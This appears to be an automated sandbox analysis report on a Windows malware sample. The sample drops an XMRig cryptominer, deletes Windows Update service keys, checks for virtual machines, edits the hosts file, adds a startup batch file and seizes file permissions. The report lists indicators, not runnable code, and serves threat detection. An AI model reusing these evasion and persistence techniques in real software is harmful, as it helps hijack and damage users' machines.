Analysis
-
max time kernel
300s -
max time network
288s -
platform
windows10_x64 -
resource
win10-20220414-en -
submitted
14-07-2022 22:20
Static task
static1
Behavioral task
behavioral1
Sample
d8f7be97512a74a82bc750146d2bd4db8a8b8a0f72f6baca474cbc427ad46f4f.exe
Resource
win7-20220414-en
General
-
Target
d8f7be97512a74a82bc750146d2bd4db8a8b8a0f72f6baca474cbc427ad46f4f.exe
-
Size
7.5MB
-
MD5
dd9d0dfb0b3d274e3a418084142afcc6
-
SHA1
ffacc4206b3b84a6d2c105390cf1815e022e02a5
-
SHA256
d8f7be97512a74a82bc750146d2bd4db8a8b8a0f72f6baca474cbc427ad46f4f
-
SHA512
d21d35069ddedc02680f8a93f37f4ddb586b0f528bebbe13f1f917de1f9c9e87c79ba29169cd30a65f227c00db52de941d64b43b0727b9809f7f4885a58aa516
Malware Config
Signatures
-
Modifies security service 2 TTPs 5 IoCs
Processes:
reg.exedescription ioc process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe -
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs
Processes:
updater.exesetup.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ updater.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ setup.exe -
XMRig Miner payload 3 IoCs
Processes:
resource yara_rule behavioral2/memory/4324-675-0x000000014036EAC4-mapping.dmp xmrig behavioral2/memory/4324-691-0x0000000140000000-0x0000000140809000-memory.dmp xmrig behavioral2/memory/4324-693-0x0000000140000000-0x0000000140809000-memory.dmp xmrig -
Drops file in Drivers directory 2 IoCs
Processes:
conhost.execonhost.exedescription ioc process File opened for modification C:\Windows\system32\drivers\etc\hosts conhost.exe File opened for modification C:\Windows\system32\drivers\etc\hosts conhost.exe -
Executes dropped EXE 2 IoCs
Processes:
setup.exeupdater.exepid process 68 setup.exe 3552 updater.exe -
Possible privilege escalation attempt 4 IoCs
Processes:
takeown.exeicacls.exetakeown.exeicacls.exepid process 3772 takeown.exe 4528 icacls.exe 2848 takeown.exe 4468 icacls.exe -
Stops running service(s) 3 TTPs
-
Checks BIOS information in registry 2 TTPs 4 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
setup.exeupdater.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion setup.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion setup.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion updater.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion updater.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
cmd.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000\Control Panel\International\Geo\Nation cmd.exe -
Drops startup file 2 IoCs
Processes:
cmd.exedescription ioc process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lol.bat cmd.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lol.bat cmd.exe -
Modifies file permissions 1 TTPs 4 IoCs
Processes:
icacls.exetakeown.exeicacls.exetakeown.exepid process 4468 icacls.exe 3772 takeown.exe 4528 icacls.exe 2848 takeown.exe -
Processes:
resource yara_rule C:\Windows\Temp\setup.exe themida behavioral2/memory/68-191-0x0000000000400000-0x00000000010BF000-memory.dmp themida C:\Windows\Temp\setup.exe themida behavioral2/memory/68-204-0x0000000000400000-0x00000000010BF000-memory.dmp themida C:\Program Files\Google\Chrome\updater.exe themida C:\Program Files\Google\Chrome\updater.exe themida behavioral2/memory/3552-461-0x0000000000400000-0x00000000010BF000-memory.dmp themida behavioral2/memory/3552-470-0x0000000000400000-0x00000000010BF000-memory.dmp themida -
Processes:
setup.exeupdater.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA setup.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA updater.exe -
Drops file in System32 directory 4 IoCs
Processes:
powershell.execonhost.exepowershell.EXEdescription ioc process File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log conhost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
Processes:
setup.exeupdater.exepid process 68 setup.exe 3552 updater.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
conhost.exedescription pid process target process PID 164 set thread context of 4324 164 conhost.exe explorer.exe -
Drops file in Program Files directory 3 IoCs
Processes:
conhost.exepowershell.exedescription ioc process File created C:\Program Files\Google\Libs\WR64.sys conhost.exe File created C:\Program Files\Google\Chrome\updater.exe powershell.exe File opened for modification C:\Program Files\Google\Chrome\updater.exe powershell.exe -
Drops file in Windows directory 3 IoCs
Processes:
MicrosoftEdge.exeMicrosoftEdgeCP.exedescription ioc process File created C:\Windows\rescache\_merged\3720402701\2219095117.pri MicrosoftEdge.exe File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe File created C:\Windows\rescache\_merged\3720402701\2219095117.pri MicrosoftEdgeCP.exe -
Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exepid process 4756 sc.exe 1832 sc.exe 3628 sc.exe 2612 sc.exe 2364 sc.exe 2572 sc.exe 4664 sc.exe 4008 sc.exe 4436 sc.exe 1304 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Processes:
browser_broker.exeMicrosoftEdgeCP.exeMicrosoftEdge.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000\Software\Microsoft\Internet Explorer\Main browser_broker.exe Key created \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdge.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
powershell.EXEpowershell.execonhost.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" conhost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" conhost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" conhost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe -
Modifies registry class 64 IoCs
Processes:
MicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate\CTLs MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url5 = "https://twitter.com/" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\ManagerHistoryComplete = "1" MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Software\Microsoft\Speech_OneCore\Isolated\PIjyYIeAhMCaaVRP = "French Phone Converter" MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Software\Microsoft\Speech_OneCore\Isolated\PIjyYIeAhMCaaVRP = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Speech_OneCore\\Recognizers\\Tokens\\MS-1033-110-WINMO-DNN" MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Software\Microsoft\Speech_OneCore\Isolated\PIjyYIeAhMCaaVRP = "%windir%\\Speech_OneCore\\Engines\\SR\\en-US-N\\tn1033.bin" MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = a1d167c3e097d801 MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify. = 010000001440a713862e72f236efc0083909f6f21ca7629d7a09a951532e210ec9db06315d7fdbd2ad907c53b8682ccec6f3f5de941939d173e023b76946 MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Software\Microsoft\Speech_OneCore\Isolated\PIjyYIeAhMCaaVRP = "%windir%\\Speech_OneCore\\Engines\\TTS\\en-US\\M1033Mark" MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\CIPolicyState = "0" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CacheLimit = "1" MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Software\Microsoft\Speech_OneCore\Isolated\PIjyYIeAhMCaaVRP = "You have selected %1 as the default voice." MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DataStore\LastCleanup = 04c25cc7e097d801 MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\Meta\generator$MediaWiki MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\Meta\generator$vBulletin 3 MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\LowRegistry\DOMStorage MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3\{A8A88C49-5EB2-4990-A1A2-0876022 = 1a3761592352350c7a5f20172f1e1a190e2b017313371312141a152a MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VersionLow = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\ACGPolicyState = "8" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Software\Microsoft\Speech_OneCore MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus\SignaturePolicy = 06000000 MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\FlipAheadCompletedVersion = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\InternetRegistry MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify. = "1" MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Software\Microsoft\Speech_OneCore\Isolated\PIjyYIeAhMCaaVRP = "CC" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TabbedBrowsing\NewTabPage MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\CIPolicyState = "0" MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\SignaturePolicy = 06000000 MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\Root\Certificates MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\SmartScreenCompletedVersion = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Software\Microsoft\Speech_OneCore\Isolated\PIjyYIeAhMCaaVRP = "HKEY_LOCAL_MACHINE/SOFTWARE\\Microsoft\\Speech_OneCore\\AudioOutput\\TokenEnums\\MMAudioOut\\" MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Software\Microsoft\Speech_OneCore\Isolated\PIjyYIeAhMCaaVRP = "%windir%\\Speech_OneCore\\Engines\\SR\\en-US-N\\c1033.fe" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus\CIPolicyState = "0" MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Software\Microsoft\Speech_OneCore\Isolated\PIjyYIeAhMCaaVRP = "SW" MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Software\Microsoft\Speech_OneCore\Isolated\PIjyYIeAhMCaaVRP = "Microsoft Speech HW Voice Activation - English (United States)" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Roaming\ChangeUnitGenerationNeeded = "1" MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content\CachePrefix MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-DXFeatureLevel = "0" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus\DynamicCodePolicy = 00000000 MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\Main MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Software\Microsoft\Speech_OneCore\Isolated\PIjyYIeAhMCaaVRP MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGStatus\DynamicCodePolicy = 05000000 MicrosoftEdgeCP.exe Key created 